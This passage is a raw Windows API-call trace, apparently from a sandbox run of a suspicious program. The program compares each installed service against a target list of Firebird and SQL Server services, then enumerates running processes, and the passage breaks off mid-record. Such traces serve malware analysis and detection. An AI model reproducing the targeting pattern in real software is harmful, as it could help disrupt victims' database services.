lstrlenW (lpString="LanmanServer") returned 12 [0166.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0166.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0166.795] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0166.795] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0166.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0166.795] lstrlenW (lpString="LanmanWorkstation") returned 17 [0166.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0166.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0166.795] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0166.795] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0166.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0166.795] lstrlenW (lpString="lfsvc") returned 5 [0166.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0166.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0166.795] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0166.795] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0166.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0166.796] lstrlenW (lpString="lmhosts") returned 7 [0166.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0166.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0166.796] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0166.796] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0166.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0166.796] lstrlenW (lpString="LSM") returned 3 [0166.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0166.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0166.796] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0166.796] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0166.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0166.796] lstrlenW (lpString="MpsSvc") returned 6 [0166.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0166.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0166.796] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0166.796] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0166.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0166.796] lstrlenW (lpString="NcbService") returned 10 [0166.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0166.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0166.796] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0166.796] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0166.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0166.796] lstrlenW (lpString="netprofm") returned 8 [0166.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0166.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0166.797] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0166.797] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0166.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0166.797] lstrlenW (lpString="NgcSvc") returned 6 [0166.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0166.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0166.797] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0166.797] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0166.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0166.797] lstrlenW (lpString="NlaSvc") returned 6 [0166.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0166.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0166.797] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0166.797] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0166.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0166.797] lstrlenW (lpString="nsi") returned 3 [0166.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0166.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0166.797] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0166.797] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0166.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0166.797] lstrlenW (lpString="PcaSvc") returned 6 [0166.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0166.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0166.797] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0166.797] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0166.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0166.798] lstrlenW (lpString="PlugPlay") returned 8 [0166.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0166.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0166.798] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0166.798] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0166.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0166.798] lstrlenW (lpString="Power") returned 5 [0166.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0166.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0166.798] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0166.798] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0166.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0166.798] lstrlenW (lpString="ProfSvc") returned 7 [0166.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0166.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0166.798] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0166.798] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0166.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0166.798] lstrlenW (lpString="RpcEptMapper") returned 12 [0166.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0166.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0166.798] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0166.798] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0166.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0166.798] lstrlenW (lpString="RpcSs") returned 5 [0166.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0166.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0166.798] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0166.799] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0166.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0166.799] lstrlenW (lpString="SamSs") returned 5 [0166.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0166.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0166.799] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0166.799] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0166.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0166.799] lstrlenW (lpString="Schedule") returned 8 [0166.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0166.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0166.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0166.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0166.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0166.799] lstrlenW (lpString="SecurityHealthService") returned 21 [0166.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0166.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0166.799] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0166.799] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0166.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0166.799] lstrlenW (lpString="SENS") returned 4 [0166.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0166.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0166.799] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0166.799] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0166.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0166.799] lstrlenW (lpString="ShellHWDetection") returned 16 [0166.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0166.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0166.800] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0166.800] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0166.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0166.800] lstrlenW (lpString="Spooler") returned 7 [0166.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0166.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0166.800] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0166.800] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0166.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0166.800] lstrlenW (lpString="StateRepository") returned 15 [0166.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0166.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0166.800] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0166.800] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0166.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0166.800] lstrlenW (lpString="SysMain") returned 7 [0166.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0166.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0166.800] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0166.800] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0166.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0166.800] lstrlenW (lpString="SystemEventsBroker") returned 18 [0166.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0166.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0166.800] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0166.800] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0166.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0166.800] lstrlenW (lpString="Themes") returned 6 [0166.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0166.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0166.801] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0166.801] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0166.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0166.801] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0166.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0166.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0166.801] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0166.801] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0166.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0166.801] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0166.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0166.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0166.801] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0166.801] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0166.801] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0166.801] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4dc [0166.807] Process32FirstW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.865] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0166.865] lstrlenW (lpString="System") returned 6 [0166.865] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0166.866] lstrlenW (lpString="smss.exe") returned 8 [0166.866] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0166.866] lstrlenW (lpString="csrss.exe") returned 9 [0166.866] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0166.867] lstrlenW (lpString="wininit.exe") returned 11 [0166.867] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0166.867] lstrlenW (lpString="csrss.exe") returned 9 [0166.867] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0166.867] lstrlenW (lpString="winlogon.exe") returned 12 [0166.868] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0166.868] lstrlenW (lpString="services.exe") returned 12 [0166.868] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0166.868] lstrlenW (lpString="lsass.exe") returned 9 [0166.868] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0166.869] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0166.869] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0166.869] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0166.869] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.870] lstrlenW (lpString="svchost.exe") returned 11 [0166.870] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.870] lstrlenW (lpString="svchost.exe") returned 11 [0166.870] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0166.871] lstrlenW (lpString="dwm.exe") returned 7 [0166.871] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.871] lstrlenW (lpString="svchost.exe") returned 11 [0166.871] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.872] lstrlenW (lpString="svchost.exe") returned 11 [0166.872] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.872] lstrlenW (lpString="svchost.exe") returned 11 [0166.872] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.873] lstrlenW (lpString="svchost.exe") returned 11 [0166.873] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.873] lstrlenW (lpString="svchost.exe") returned 11 [0166.873] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.873] lstrlenW (lpString="svchost.exe") returned 11 [0166.873] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.874] lstrlenW (lpString="svchost.exe") returned 11 [0166.874] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.874] lstrlenW (lpString="svchost.exe") returned 11 [0166.874] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.875] lstrlenW (lpString="svchost.exe") returned 11 [0166.875] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.875] lstrlenW (lpString="svchost.exe") returned 11 [0166.875] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0166.876] lstrlenW (lpString="spoolsv.exe") returned 11 [0166.876] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.876] lstrlenW (lpString="svchost.exe") returned 11 [0166.876] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0166.876] lstrlenW (lpString="audiodg.exe") returned 11 [0166.876] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0166.877] lstrlenW (lpString="sihost.exe") returned 10 [0166.877] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.877] lstrlenW (lpString="svchost.exe") returned 11 [0166.877] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0166.878] lstrlenW (lpString="taskhostw.exe") returned 13 [0166.878] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0166.878] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0166.878] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0166.879] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0166.879] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0166.879] lstrlenW (lpString="Memory Compression") returned 18 [0166.879] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x43, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0166.880] lstrlenW (lpString="explorer.exe") returned 12 [0166.880] Process32NextW (in: hSnapshot=0x4dc, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, 